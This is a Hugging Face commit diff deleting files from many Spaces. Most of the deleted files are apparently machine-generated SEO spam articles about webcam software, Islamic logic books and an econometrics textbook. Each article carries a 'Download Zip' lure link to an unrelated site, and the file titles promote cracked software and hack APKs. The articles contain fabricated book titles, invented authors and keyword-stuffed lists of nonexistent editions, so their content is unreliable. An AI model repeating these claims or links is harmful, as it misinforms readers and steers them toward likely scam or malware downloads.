parquet-converter commited on
Commit
ca0d6b4
·
1 Parent(s): 348ec71

Update parquet files (step 89 of 121)

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. spaces/0x90e/ESRGAN-MANGA/run_cmd.py +0 -9
  2. spaces/1acneusushi/gradio-2dmoleculeeditor/data/Download Logitech Webcam Pro 9000 Software and Enhance Your Video Quality and Experience.md +0 -43
  3. spaces/1acneusushi/gradio-2dmoleculeeditor/data/Downloadterjemahankitabmantiq144 Tips dan Trik Menguasai Ilmu Mantiq dengan Mudah.md +0 -137
  4. spaces/1acneusushi/gradio-2dmoleculeeditor/data/Econometric Models And Economic Forecasts Pindyck Pdf Free The Essential Textbook for Students and Practitioners of Econometrics.md +0 -102
  5. spaces/1gistliPinn/ChatGPT4/Examples/Camersoft Webcam Recorder V3.1.08 PreLINK Cracked Utorrent.md +0 -6
  6. spaces/1gistliPinn/ChatGPT4/Examples/F1 2011 Indir (LINK Full PC).md +0 -6
  7. spaces/1line/AutoGPT/tests/integration/memory_tests.py +0 -49
  8. spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Apk ai vola ni sere ni lotu wesele A guide to the Fijian Methodist Hymnal app for Android.md +0 -94
  9. spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Bloons TD 6 Free Download No Virus No Lag No Hassle.md +0 -116
  10. spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Brawl Stars APK Ykle - Gl Brawlerslarla Oynamann Keyfini kar.md +0 -77
  11. spaces/1pelhydcardo/ChatGPT-prompt-generator/assets/Download All Friends Remover APK and Get Rid of Unwanted Facebook Friends.md +0 -124
  12. spaces/1phancelerku/anime-remove-background/Download Pokemon GO Hack APK and Catch Them All with Ease.md +0 -115
  13. spaces/1phancelerku/anime-remove-background/Download Tekken 7 APK and Enjoy the Best Fighting Experience on Android.md +0 -123
  14. spaces/801artistry/RVC801/infer/lib/uvr5_pack/lib_v5/nets_new.py +0 -133
  15. spaces/AIGC-Audio/AudioGPT/text_to_audio/Make_An_Audio/ldm/modules/encoders/CLAP/clap.py +0 -89
  16. spaces/Adithedev/Text-Summarization-Tool/README.md +0 -13
  17. spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/sides/defaultcallbacks/VisibleCallbacks.js +0 -20
  18. spaces/AkshayKumarP/AI-ChatBot/README.md +0 -13
  19. spaces/Albertha/qwe123/index.js +0 -1
  20. spaces/Andy1621/uniformer_image_detection/configs/ms_rcnn/ms_rcnn_r50_fpn_1x_coco.py +0 -16
  21. spaces/Andy1621/uniformer_image_detection/configs/retinanet/README.md +0 -29
  22. spaces/Andy1621/uniformer_image_detection/mmdet/core/bbox/samplers/ohem_sampler.py +0 -107
  23. spaces/Andy1621/uniformer_image_detection/mmdet/core/evaluation/eval_hooks.py +0 -303
  24. spaces/Anonymous-sub/Rerender/ControlNet/annotator/uniformer/mmcv/parallel/data_parallel.py +0 -89
  25. spaces/Banbri/zcvzcv/src/lib/computeSha256.ts +0 -14
  26. spaces/Benson/text-generation/Examples/Angry Birds Star Wars 2 Descarga Juego Para Pc Versin Completa.md +0 -66
  27. spaces/Benson/text-generation/Examples/Descargar 6 Y 7 Libro De Moiss.md +0 -126
  28. spaces/Bonosa2/dall-e_image-generation/README.md +0 -12
  29. spaces/CVPR/Dual-Key_Backdoor_Attacks/openvqa/docs/_source/advanced/contributing.md +0 -29
  30. spaces/CVPR/LIVE/thrust/thrust/system/detail/generic/replace.h +0 -98
  31. spaces/CVPR/LIVE/thrust/thrust/system/tbb/detail/find.h +0 -46
  32. spaces/CVPR/WALT/walt/apis/train.py +0 -187
  33. spaces/CVPR/lama-example/models/ade20k/resnet.py +0 -181
  34. spaces/CVPR/monoscene_lite/app.py +0 -121
  35. spaces/CikeyQI/Yunzai/Yunzai/app.js +0 -3
  36. spaces/Cloudyy/bark-voice-cloning/hubert/customtokenizer.py +0 -182
  37. spaces/Cyril666/my_abi/losses.py +0 -72
  38. spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/blocks.py +0 -2175
  39. spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/templates/frontend/assets/index-8f1feca1.css +0 -1
  40. spaces/DaFujaTyping/hf-Chat-ui/src/lib/utils/trimPrefix.ts +0 -6
  41. spaces/DeepDrivePL/PaddleSeg-Matting/matting/model/vgg.py +0 -166
  42. spaces/DeepLabCut/MegaDetector_DeepLabCut/detection_utils.py +0 -116
  43. spaces/DeepLabCut/MegaDetector_DeepLabCut/save_results.py +0 -56
  44. spaces/Dinoking/Guccio-AI-Designer/netdissect/segmenter.py +0 -581
  45. spaces/Dragonnext/scylla-proxy/README.md +0 -10
  46. spaces/Eddycrack864/Applio-Inference/infer/modules/train/extract/extract_f0_rmvpe.py +0 -141
  47. spaces/Endre/SemanticSearch-HU/src/exploration/mqa_test.py +0 -9
  48. spaces/EronSamez/RVC_HFmeu/colab_for_mdx.py +0 -71
  49. spaces/EuroPython2022/mmocr-demo/configs/_base_/schedules/schedule_adadelta_18e.py +0 -8
  50. spaces/FacundoSander/PdfQA/main.py +0 -53
spaces/0x90e/ESRGAN-MANGA/run_cmd.py DELETED
@@ -1,9 +0,0 @@
1
- from subprocess import call
2
- import sys
3
-
4
- def run_cmd(command):
5
- try:
6
- call(command, shell=True)
7
- except KeyboardInterrupt:
8
- print("Process interrupted")
9
- sys.exit(1)
 
 
 
 
 
 
 
 
 
 
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Download Logitech Webcam Pro 9000 Software and Enhance Your Video Quality and Experience.md DELETED
@@ -1,43 +0,0 @@
1
-
2
- <h1>How to Download Logitech Webcam Pro 9000 Software</h1>
3
- <p>If you have a Logitech Webcam Pro 9000, you may want to download the latest software for it to enjoy its full features and performance. The software allows you to adjust the settings of your webcam, such as brightness, contrast, zoom, and face tracking. It also lets you capture photos and videos, apply filters and effects, and use the webcam with various applications.</p>
4
- <p>To download the Logitech Webcam Pro 9000 software, you need to follow these steps:</p>
5
- <h2>download logitech webcam pro 9000 software</h2><br /><p><b><b>Download Zip</b> &#9658; <a href="https://byltly.com/2uKvKO">https://byltly.com/2uKvKO</a></b></p><br /><br />
6
- <ol>
7
- <li>Go to the <a href="https://support.logi.com/hc/en-us/articles/360024848033-Downloads-Webcam-Pro-9000">Logitech support website</a> and select your operating system and language.</li>
8
- <li>Click on the <strong>Download Now</strong> button and save the file to your computer.</li>
9
- <li>Double-click on the downloaded file and follow the on-screen instructions to install the software.</li>
10
- <li>Restart your computer if prompted.</li>
11
- <li>Connect your webcam to your computer and launch the software from the Start menu or the desktop shortcut.</li>
12
- </ol>
13
- <p>You can now use your Logitech Webcam Pro 9000 with the software and enjoy its features. If you have any issues or questions, you can visit the <a href="https://support.logi.com/hc/en-us/sections/360002898393-FAQs">Logitech support website</a> for more information and troubleshooting tips.</p>
14
-
15
- <p>Some of the features that you can enjoy with the Logitech Webcam Pro 9000 software are:</p>
16
- <ul>
17
- <li><strong>RightLight 2 Technology</strong>: This feature automatically adjusts the lighting and color of your webcam to produce clear and natural images in any environment.</li>
18
- <li><strong>RightSound Technology</strong>: This feature reduces background noise and echo, and enhances your voice quality for clear and crisp audio.</li>
19
- <li><strong>Face Tracking</strong>: This feature automatically detects and follows your face as you move, keeping you in focus and centered in the frame.</li>
20
- <li><strong>Video Effects</strong>: This feature allows you to add fun and creative effects to your video, such as avatars, filters, masks, and accessories.</li>
21
- <li><strong>Quick Capture</strong>: This feature allows you to easily capture photos and videos with your webcam, and save them to your computer or share them online.</li>
22
- </ul>
23
- <p>The Logitech Webcam Pro 9000 software is compatible with most popular applications that use webcams, such as Skype, Zoom, Facebook Messenger, and YouTube. You can also use the software to record and stream your video with high-quality resolution and frame rate.</p>
24
-
25
- <p>If you want to update the Logitech Webcam Pro 9000 software, you can check for updates from the software itself or from the Logitech support website. Updating the software can help you fix any bugs or issues, and improve the performance and compatibility of your webcam.</p>
26
- <p>To update the software from the software itself, you need to follow these steps:</p>
27
- <ol>
28
- <li>Launch the Logitech Webcam Pro 9000 software from the Start menu or the desktop shortcut.</li>
29
- <li>Click on the <strong>Help</strong> menu and select <strong>Check for updates</strong>.</li>
30
- <li>If there is an update available, click on the <strong>Download and install</strong> button and follow the on-screen instructions.</li>
31
- <li>Restart your computer if prompted.</li>
32
- </ol>
33
- <p>To update the software from the Logitech support website, you need to follow these steps:</p>
34
- <ol>
35
- <li>Go to the <a href="https://support.logi.com/hc/en-us/articles/360024848033-Downloads-Webcam-Pro-9000">Logitech support website</a> and select your operating system and language.</li>
36
- <li>Click on the <strong>Show All Downloads</strong> button and find the latest version of the software.</li>
37
- <li>Click on the <strong>Download Now</strong> button and save the file to your computer.</li>
38
- <li>Double-click on the downloaded file and follow the on-screen instructions to install the software.</li>
39
- <li>Restart your computer if prompted.</li>
40
- </ol>
41
- <p>If you have any problems with updating the software, you can contact the Logitech customer support team for assistance.</p> ddb901b051<br />
42
- <br />
43
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Downloadterjemahankitabmantiq144 Tips dan Trik Menguasai Ilmu Mantiq dengan Mudah.md DELETED
@@ -1,137 +0,0 @@
1
-
2
- <h1>Download Terjemahan Kitab Mantiq 144</h1>
3
- <p>Kitab mantiq or books of logic are among the most important and valuable sources of knowledge for Muslims. They teach us how to think clearly, rationally, and objectively, and how to avoid errors and fallacies in our reasoning. They also help us understand the Quran, the Sunnah, and other Islamic sciences better. In this article, we will explore what kitab mantiq are, who wrote them, how to download terjemahan kitab mantiq 144 (translations of 144 books of logic), and how to use them effectively.</p>
4
- <h2>What is Kitab Mantiq?</h2>
5
- <p>Kitab mantiq literally means books of logic or books of reasoning. They are books that deal with the principles, rules, methods, and applications of logic in various fields of knowledge. Logic is the science that studies how to distinguish between valid and invalid arguments, how to construct sound proofs, and how to evaluate evidence and claims.</p>
6
- <h2>downloadterjemahankitabmantiq144</h2><br /><p><b><b>Download Zip</b> ->>->>->> <a href="https://byltly.com/2uKyq7">https://byltly.com/2uKyq7</a></b></p><br /><br />
7
- <p>Kitab mantiq have a long and rich history in Islamic civilization. They were first introduced by Muslim scholars who learned logic from Greek sources such as Aristotle, Porphyry, Euclid, and others. They then developed and refined logic according to Islamic principles and objectives. They also integrated logic with other Islamic sciences such as theology, jurisprudence, philosophy, rhetoric, grammar, mathematics, astronomy, medicine, etc.</p>
8
- <p>Studying kitab mantiq has many benefits for Muslims. It can improve our intellectual abilities, sharpen our critical thinking skills, enhance our communication skills, strengthen our faith, increase our understanding of Islam, and enable us to deal with contemporary challenges and issues.</p>
9
- <h2>What are the main kitab mantiq and their authors?</h2>
10
- <p>There are many kitab mantiq that have been written by Muslim scholars throughout history. Some of them are more famous and influential than others. Here are some examples of the main kitab mantiq and their authors:</p>
11
- <ul>
12
- <li><strong>Nadzam Sullam al-Munawwarqa</strong> by Abu Zaid Abdurrahman al-Akhdari (d. 1546 CE). This is a concise poem that summarizes the main topics and rules of logic in a simple and easy way. It is one of the most popular kitab mantiq in Indonesia.</li>
13
- <li><strong>Natijatul Muhtam</strong> by Ashif Abdul Qadir Jailani (d. 2010 CE). This is a commentary on Nadzam Sullam al-Munawwarqa that explains its meanings and provides examples and exercises. It is also widely used in Indonesia.</li>
14
- <li><strong>Bintang Terang</strong> by Muhammad Al-Amin bin Abdullah bin Yusuf bin Hassan al-Harari al-Kari al-Bouti (d. 1973 CE). This is a comprehensive book that covers all aspects of logic in detail. It is based on classical sources such as al-Farabi, Ibn Sina, al-Ghazali, etc.</li>
15
- <li><strong>Rahasia Tersembunyi dalam Ilmu Mental</strong> by Jamal al-Din al-Hassan bin Yusuf bin al-Mutahhar al-Hilli (d. 1325 CE). This is a book that reveals the secrets and mysteries of logic in an interesting and engaging way. It discusses topics such as definitions, categories, propositions, syllogisms, induction, analogy, etc.</li>
16
- <li><strong>Semantik - Ilmu Makna</strong> by Muhammad Ali al-Khouli (d. 1995 CE). This is a book that deals with semantics or the science of meaning. It explains how words convey meanings, how meanings change over time and context, how meanings are related to each other, etc.</li>
17
- <h2>How to download terjemahan kitab mantiq 144?</h2>
18
- <p>If you are interested in learning logic from kitab mantiq, you might want to download terjemahan kitab mantiq 144 (translations of 144 books of logic) from various online sources. This way, you can access and read them anytime and anywhere. However, you need to be careful and selective when choosing the sources and formats of the terjemahan kitab mantiq 144. Not all of them are reliable and accurate.</p>
19
- <p>Here are some steps that you can follow to download terjemahan kitab mantiq 144:</p>
20
- <p>download terjemahan kitab mantiq pdf<br />
21
- download terjemahan kitab mantiq al khair<br />
22
- download terjemahan kitab mantiq ibnu sina<br />
23
- download terjemahan kitab mantiq al tair<br />
24
- download terjemahan kitab mantiq al mudhaffar<br />
25
- download terjemahan kitab mantiq al jurjani<br />
26
- download terjemahan kitab mantiq al qiyas<br />
27
- download terjemahan kitab mantiq al shirazi<br />
28
- download terjemahan kitab mantiq al farabi<br />
29
- download terjemahan kitab mantiq al ghazali<br />
30
- download terjemahan kitab mantiq al jauhari<br />
31
- download terjemahan kitab mantiq al razi<br />
32
- download terjemahan kitab mantiq al taftazani<br />
33
- download terjemahan kitab mantiq al kalam<br />
34
- download terjemahan kitab mantiq al maani<br />
35
- download terjemahan kitab mantiq al asyari<br />
36
- download terjemahan kitab mantiq al mutakallimin<br />
37
- download terjemahan kitab mantiq al bayan<br />
38
- download terjemahan kitab mantiq al adillah<br />
39
- download terjemahan kitab mantiq al burhan<br />
40
- download terjemahan kitab mantiq al dalalah<br />
41
- download terjemahan kitab mantiq al istidlal<br />
42
- download terjemahan kitab mantiq al istihsan<br />
43
- download terjemahan kitab mantiq al istiqra<br />
44
- download terjemahan kitab mantiq al istinbat<br />
45
- download terjemahan kitab mantiq al iqtibas<br />
46
- download terjemahan kitab mantiq al i'rab<br />
47
- download terjemahan kitab mantiq al inayah<br />
48
- download terjemahan kitab mantiq al irfan<br />
49
- download terjemahan kitab mantiq al ishraq<br />
50
- download terjemahan kitab mantiq al isyarat<br />
51
- download terjemahan kitab mantiq al jamal<br />
52
- download terjemahan kitab mantiq al jadal<br />
53
- download terjemahan kitab mantiq al khabar<br />
54
- download terjemahan kitab mantiq al khawass<br />
55
- download terjemahan kitab mantiq al lughah<br />
56
- download terjemahan kitab mantiq al ma'rifah<br />
57
- download terjemahan kitab mantiq al madrasah<br />
58
- download terjemahan kitab mantiq al mahmudiyah<br />
59
- download terjemahan kitab mantiq al manhajiyah<br />
60
- download terjemahan kitab mantiq al mansurah<br />
61
- download terjemahan kitab mantiq al marifatul ilahiyyah<br />
62
- download terjemahan kitab mantiq al masailiyyah<br />
63
- download terjemahan kitab mantiq al mashriqiyyah<br />
64
- download terjemahan kitab mantiq al mathalibiyah<br />
65
- download terjemahan kitab mantiq al mu'tabar fi ilmi lughatil 'arabiyyah <br />
66
- download terjemahan kitab mantiq al mujarrad fi ilmi lughatil farsiyyah <br />
67
- download terjemahan kitab mantiq al munawwar fi ilmi lughatil turkiyyah <br />
68
- download terjemahan kitab mantiq an nafsiyyat fi ilmi lughatil yunaniyyah <br />
69
- download terjemahan kitab mantik at tahawi fi ilmi lughatil hindiyyah </p>
70
- <ol>
71
- <li>First, you need to decide which kitab mantiq you want to download. You can choose based on your level of knowledge, your interest, your preference, or your teacher's recommendation. You can also refer to the list of the main kitab mantiq and their authors that we provided earlier.</li>
72
- <li>Second, you need to find a trustworthy and reputable online source that provides terjemahan kitab mantiq 144. You can use search engines such as Google or Bing to look for them. You can also ask for suggestions from your friends, teachers, or fellow students who have downloaded terjemahan kitab mantiq 144 before.</li>
73
- <li>Third, you need to check the quality and accuracy of the terjemahan kitab mantiq 144 that you find. You can do this by comparing them with the original Arabic texts or other reliable translations. You can also read the reviews and ratings of other users who have downloaded them. You should avoid downloading terjemahan kitab mantiq 144 that have errors, mistakes, omissions, distortions, or biases.</li>
74
- <li>Fourth, you need to choose the format that suits your needs and preferences. There are different formats of terjemahan kitab mantiq 144 that you can download, such as PDF, DOC, EPUB, MOBI, etc. Each format has its own advantages and disadvantages. For example, PDF format is easy to read and print, but it is not editable and searchable. DOC format is editable and searchable, but it may not preserve the original layout and fonts. EPUB and MOBI formats are suitable for e-readers and mobile devices, but they may not support some features such as tables and images.</li>
75
- <li>Fifth, you need to download the terjemahan kitab mantiq 144 that you have chosen. You can do this by clicking on the download link or button provided by the online source. You may need to register or sign up first before you can download them. You may also need to pay a fee or make a donation if the online source is not free. You should also scan the files for viruses or malware before opening them.</li>
76
- </ol>
77
- <p>To help you compare the different sources and formats of terjemahan kitab mantiq 144, we have prepared a table below:</p>
78
- <table>
79
- <tr>
80
- <th>Source</th>
81
- <th>Format</th>
82
- <th>Advantages</th>
83
- <th>Disadvantages</th>
84
- </tr>
85
- <tr>
86
- <td>Islamiques.net</td>
87
- <td>PDF</td>
88
- <td>- Provides terjemahan kitab mantiq 144 for free<br>- Covers various topics and levels of logic<br>- Includes links to original Arabic texts</td>
89
- <td>- Some links may be broken or expired<br>- Some translations may be incomplete or outdated<br>- Some PDF files may be large or corrupted</td>
90
- </tr>
91
- <tr>
92
- <td>Abusyuja.com</td>
93
- <td>PDF</td>
94
- <td>- Provides terjemahan kitab mantiq sullam munauruq for free<br>- Explains the meanings and examples of logic in detail<br>- Includes exercises and solutions</td>
95
- <td>- Only focuses on one kitab mantiq<br>- Some PDF files may be low quality or blurry<br>- Some translations may be inaccurate or unclear</td>
96
- </tr>
97
- <tr>
98
- <td>Terjemah.site</td>
99
- <td>PDF</td>
100
- <td>- Provides terjemahan kitab mantiq bintang terang for free<br>- Covers all aspects of logic in depth<br>- Based on classical sources of logic</td>
101
- <td>- Only focuses on one kitab mantiq<br>- Some PDF files may be hard to read or navigate<br>- Some translations may be complex or difficult</td>
102
- </tr>
103
- <tr>
104
- <td>Zardi.pk</td>
105
- <td>PDF</td>
106
- <td>- Provides terjemahan kitab mantiq rahasia tersembunyi dalam ilmu mental for free<br>- Reveals the secrets and mysteries of logic in an interesting way<br>- Includes tables and images</td>
107
- <td>- Only focuses on one kitab mantiq<br>- Some PDF files may be missing or incomplete<br>- Some translations may be inconsistent or misleading</td>
108
- </tr>
109
- <h2>How to use terjemahan kitab mantiq 144 effectively?</h2>
110
- <p>After downloading terjemahan kitab mantiq 144, you might wonder how to use them effectively for learning and understanding logic. Here are some tips and advice that you can follow:</p>
111
- <ul>
112
- <li><strong>Read them carefully and attentively.</strong> You should not just skim or scan through the terjemahan kitab mantiq 144 that you download. You should read them carefully and attentively, paying attention to every word, sentence, paragraph, and section. You should also try to understand the meanings, implications, and applications of what you read.</li>
113
- <li><strong>Analyze them critically and logically.</strong> You should not just accept or believe everything that you read in the terjemahan kitab mantiq 144 that you download. You should analyze them critically and logically, using your own reason and judgment. You should also compare and contrast them with other sources of logic, such as the Quran, the Sunnah, other Islamic sciences, etc.</li>
114
- <li><strong>Practice them regularly and consistently.</strong> You should not just read the terjemahan kitab mantiq 144 that you download once or twice. You should practice them regularly and consistently, applying what you learn to various situations and problems. You should also review and revise what you learn periodically, testing yourself with questions and exercises.</li>
115
- <li><strong>Share them with others and seek feedback.</strong> You should not just keep the terjemahan kitab mantiq 144 that you download to yourself. You should share them with others who are interested in learning logic, such as your friends, teachers, or fellow students. You should also seek feedback from them on your understanding and performance of logic.</li>
116
- <li><strong>Enjoy them and have fun.</strong> You should not just view the terjemahan kitab mantiq 144 that you download as a burden or a chore. You should enjoy them and have fun with them, appreciating the beauty and wisdom of logic. You should also be curious and creative with logic, exploring new ideas and possibilities.</li>
117
- <h2>Conclusion</h2>
118
- <h2>Conclusion</h2>
119
- <p>In conclusion, kitab mantiq are books of logic that teach us how to think clearly, rationally, and objectively. They have a long and rich history in Islamic civilization, and they have many benefits for Muslims. They also help us understand the Quran, the Sunnah, and other Islamic sciences better. If you want to learn logic from kitab mantiq, you can download terjemahan kitab mantiq 144 (translations of 144 books of logic) from various online sources. However, you need to be careful and selective when choosing the sources and formats of the terjemahan kitab mantiq 144. You also need to use them effectively by reading, analyzing, practicing, sharing, and enjoying them.</p>
120
- <p>We hope that this article has given you some useful information and guidance on how to download terjemahan kitab mantiq 144. We encourage you to download terjemahan kitab mantiq 144 and start learning logic today. You will not regret it. Logic is a beautiful and powerful tool that can improve your life and your faith.</p>
121
- <h2>FAQs</h2>
122
- <p>Here are some frequently asked questions and their answers related to the topic of the article:</p>
123
- <ol>
124
- <li><strong>What is the difference between kitab mantiq and ilmu mantiq?</strong><br>
125
- Kitab mantiq are books of logic that contain the principles, rules, methods, and applications of logic in various fields of knowledge. Ilmu mantiq is the science of logic that studies how to distinguish between valid and invalid arguments, how to construct sound proofs, and how to evaluate evidence and claims.</li>
126
- <li><strong>Who is the founder of ilmu mantiq in Islam?</strong><br>
127
- There is no consensus among Muslim scholars on who is the founder of ilmu mantiq in Islam. Some say that it was al-Kindi (d. 873 CE), who was the first Muslim philosopher to write about logic. Others say that it was al-Farabi (d. 950 CE), who was the first Muslim philosopher to systematize logic. Others say that it was Ibn Sina (d. 1037 CE), who was the first Muslim philosopher to develop logic further.</li>
128
- <li><strong>What are the main types of logic in ilmu mantiq?</strong><br>
129
- There are two main types of logic in ilmu mantiq: deductive logic and inductive logic. Deductive logic is the type of logic that derives conclusions from premises that are certain or necessary. Inductive logic is the type of logic that derives conclusions from premises that are probable or contingent.</li>
130
- <li><strong>What are the main sources of terjemahan kitab mantiq 144?</strong><br>
131
- There are many online sources that provide terjemahan kitab mantiq 144 (translations of 144 books of logic). Some of them are Islamiques.net, Abusyuja.com, Terjemah.site, Zardi.pk, etc. However, not all of them are reliable and accurate. You need to check the quality and accuracy of the terjemahan kitab mantiq 144 before downloading them.</li>
132
- <li><strong>What are the main challenges or difficulties in learning ilmu mantiq?</strong><br>
133
- Some of the main challenges or difficulties in learning ilmu mantiq are: understanding the technical terms and concepts of logic, applying logic to different fields and situations, avoiding errors and fallacies in reasoning, finding reliable and accurate sources of terjemahan kitab mantiq 144, etc.</li>
134
- </ol>
135
- </p> 0a6ba089eb<br />
136
- <br />
137
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Econometric Models And Economic Forecasts Pindyck Pdf Free The Essential Textbook for Students and Practitioners of Econometrics.md DELETED
@@ -1,102 +0,0 @@
1
-
2
- <h1>Econometric Models and Economic Forecasts Pindyck PDF Free</h1>
3
- <p>Econometrics is the application of statistical methods to economic data and problems. It is a powerful tool for analyzing and predicting the behavior of economic variables, such as income, consumption, investment, prices, interest rates, exchange rates, inflation, unemployment, growth, and more. Econometrics can also help test economic theories and evaluate economic policies.</p>
4
- <p>However, econometrics is not a simple or straightforward subject. It requires a solid understanding of mathematical and statistical concepts, as well as economic theory and institutional knowledge. Moreover, econometric models are often complex and subject to various assumptions and limitations that need to be carefully examined and tested.</p>
5
- <h2>Econometric Models And Economic Forecasts Pindyck Pdf Free</h2><br /><p><b><b>Download Zip</b> &#9734; <a href="https://byltly.com/2uKyz3">https://byltly.com/2uKyz3</a></b></p><br /><br />
6
- <p>That is why a good textbook on econometrics is essential for anyone who wants to learn or practice this discipline. One of the most popular and widely used textbooks on econometrics is <strong>Econometric Models and Economic Forecasts</strong> by Robert S. Pindyck and Daniel L. Rubinfeld. This book provides a comprehensive and rigorous introduction to the theory and practice of econometrics, with an emphasis on applied problems and real-world data.</p>
7
- <p>In this article, we will review some of the main topics covered in this book, and show you how you can download a free PDF version of it online.</p>
8
- <h2>The Basics of Regression Analysis</h2>
9
- <p>The core of econometrics is regression analysis, which is a method of estimating the relationship between one or more explanatory variables (also called independent variables or regressors) and a dependent variable (also called response variable or regressand). For example, we can use regression analysis to estimate how income affects consumption, how education affects earnings, how inflation affects interest rates, and so on.</p>
10
- <p>Regression analysis can be divided into two types: simple regression and multiple regression. Simple regression involves only one explanatory variable and one dependent variable, while multiple regression involves more than one explanatory variable and one dependent variable.</p>
11
- <p>Download Econometric Models And Economic Forecasts Pindyck Pdf<br />
12
- Econometric Models And Economic Forecasts Pindyck Solutions Manual Pdf<br />
13
- Econometric Models And Economic Forecasts Pindyck Rubinfeld Pdf<br />
14
- Econometric Models And Economic Forecasts Pindyck Ebook Free<br />
15
- Econometric Models And Economic Forecasts Pindyck 4th Edition Pdf<br />
16
- Econometric Models And Economic Forecasts Pindyck Pdf Online<br />
17
- Econometric Models And Economic Forecasts Pindyck Rubinfeld Free Download<br />
18
- Econometric Models And Economic Forecasts Pindyck 3rd Edition Pdf<br />
19
- Econometric Models And Economic Forecasts Pindyck Pdf Reddit<br />
20
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 4th Edition Pdf<br />
21
- Econometric Models And Economic Forecasts Pindyck Pdf Library Genesis<br />
22
- Econometric Models And Economic Forecasts Pindyck Rubinfeld Solutions Pdf<br />
23
- Econometric Models And Economic Forecasts Pindyck 5th Edition Pdf<br />
24
- Econometric Models And Economic Forecasts Pindyck Pdf Google Drive<br />
25
- Econometric Models And Economic Forecasts Pindyck Rubinfeld Ebook Pdf<br />
26
- Econometric Models And Economic Forecasts Pindyck 2nd Edition Pdf<br />
27
- Econometric Models And Economic Forecasts Pindyck Pdf Z-Library<br />
28
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 3rd Edition Pdf<br />
29
- Econometric Models And Economic Forecasts Pindyck 6th Edition Pdf<br />
30
- Econometric Models And Economic Forecasts Pindyck Pdf Scribd<br />
31
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 5th Edition Pdf<br />
32
- Econometric Models And Economic Forecasts Pindyck 7th Edition Pdf<br />
33
- Econometric Models And Economic Forecasts Pindyck Pdf B-ok.cc<br />
34
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 6th Edition Pdf<br />
35
- Econometric Models And Economic Forecasts Pindyck 8th Edition Pdf<br />
36
- Econometric Models And Economic Forecasts Pindyck Pdf Archive.org<br />
37
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 7th Edition Pdf<br />
38
- Econometric Models And Economic Forecasts Pindyck 9th Edition Pdf<br />
39
- Econometric Models And Economic Forecasts Pindyck Pdf Bookfi.net<br />
40
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 8th Edition Pdf<br />
41
- Econometric Models And Economic Forecasts Pindyck 10th Edition Pdf<br />
42
- Econometric Models And Economic Forecasts Pindyck Pdf Booksc.org<br />
43
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 9th Edition Pdf<br />
44
- Econometric Models And Economic Forecasts Pindyck 11th Edition Pdf<br />
45
- Econometric Models And Economic Forecasts Pindyck Pdf Book4you.org<br />
46
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 10th Edition Pdf<br />
47
- Econometric Models And Economic Forecasts Pindyck 12th Edition Pdf<br />
48
- Econometric Models And Economic Forecasts Pindyck Pdf B-ok.xyz<br />
49
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 11th Edition Pdf<br />
50
- Econometric Models And Economic Forecasts Pindyck 13th Edition Pdf<br />
51
- Econometric Models And Economic Forecasts Pindyck Pdf B-ok2.org<br />
52
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 12th Edition Pdf<br />
53
- Econometric Models And Economic Forecasts Pindyck 14th Edition Pdf<br />
54
- Econometric Models And Economic Forecasts Pindyck Pdf B-ok.global<br />
55
- Econometric Models And Economic Forecasts Pindyck Rubinfeld 13th Edition Pdf<br />
56
- Econometric Models And Economic Forecasts Pindyck 15th Edition Pdf<br />
57
- Econometric Models And Economic Forecasts Pindyck Pdf B-ok.lat</p>
58
- <p>In this book, Pindyck and Rubinfeld start by introducing the basic concepts of regression analysis in Chapter 1. They explain what a regression model is, how to estimate its parameters using the method of least squares, how to measure its goodness-of-fit using the coefficient of determination (R-squared), how to test hypotheses about its parameters using t-tests and F-tests, how to construct confidence intervals for its parameters and predictions, and how to interpret its results.</p>
59
- <p>In Chapter 2, they review some elementary statistics that are essential for understanding regression analysis. They discuss random variables, estimation, desirable properties of estimators, probability distributions, hypothesis testing, confidence intervals, and some properties of the expectations operator.</p>
60
- <p>In Chapter 3, they focus on the two-variable regression model. They derive the formulas for the least-squares estimators of the slope and intercept parameters, show how to calculate their standard errors and variances, explain how to test hypotheses about them using t-tests, show how to perform analysis of variance (ANOVA) and calculate correlation coefficients for the model, and illustrate how to use graphical methods to visualize the model.</p>
61
- <p>In Chapter 4, they extend the analysis to the multiple regression model. They show how to estimate its parameters using matrix algebra or software packages such as Excel or Stata, how to calculate its R-squared and corrected R-squared values, how to test hypotheses about its parameters using F-tests or t-tests with adjusted degrees of freedom, how to deal with multicollinearity (a situation where some explanatory variables are highly correlated with each other), how to calculate standardized coefficients and elasticities (measures of responsiveness), how to perform partial correlation analysis and stepwise regression (methods of selecting relevant explanatory variables).</p>
62
- <h2>Using the Multiple Regression Model</h2>
63
- <p>The multiple regression model is very flexible and can be used to analyze various types of economic data and problems. In Chapter 5, Pindyck and Rubinfeld show how to use the multiple regression model in different ways.</p>
64
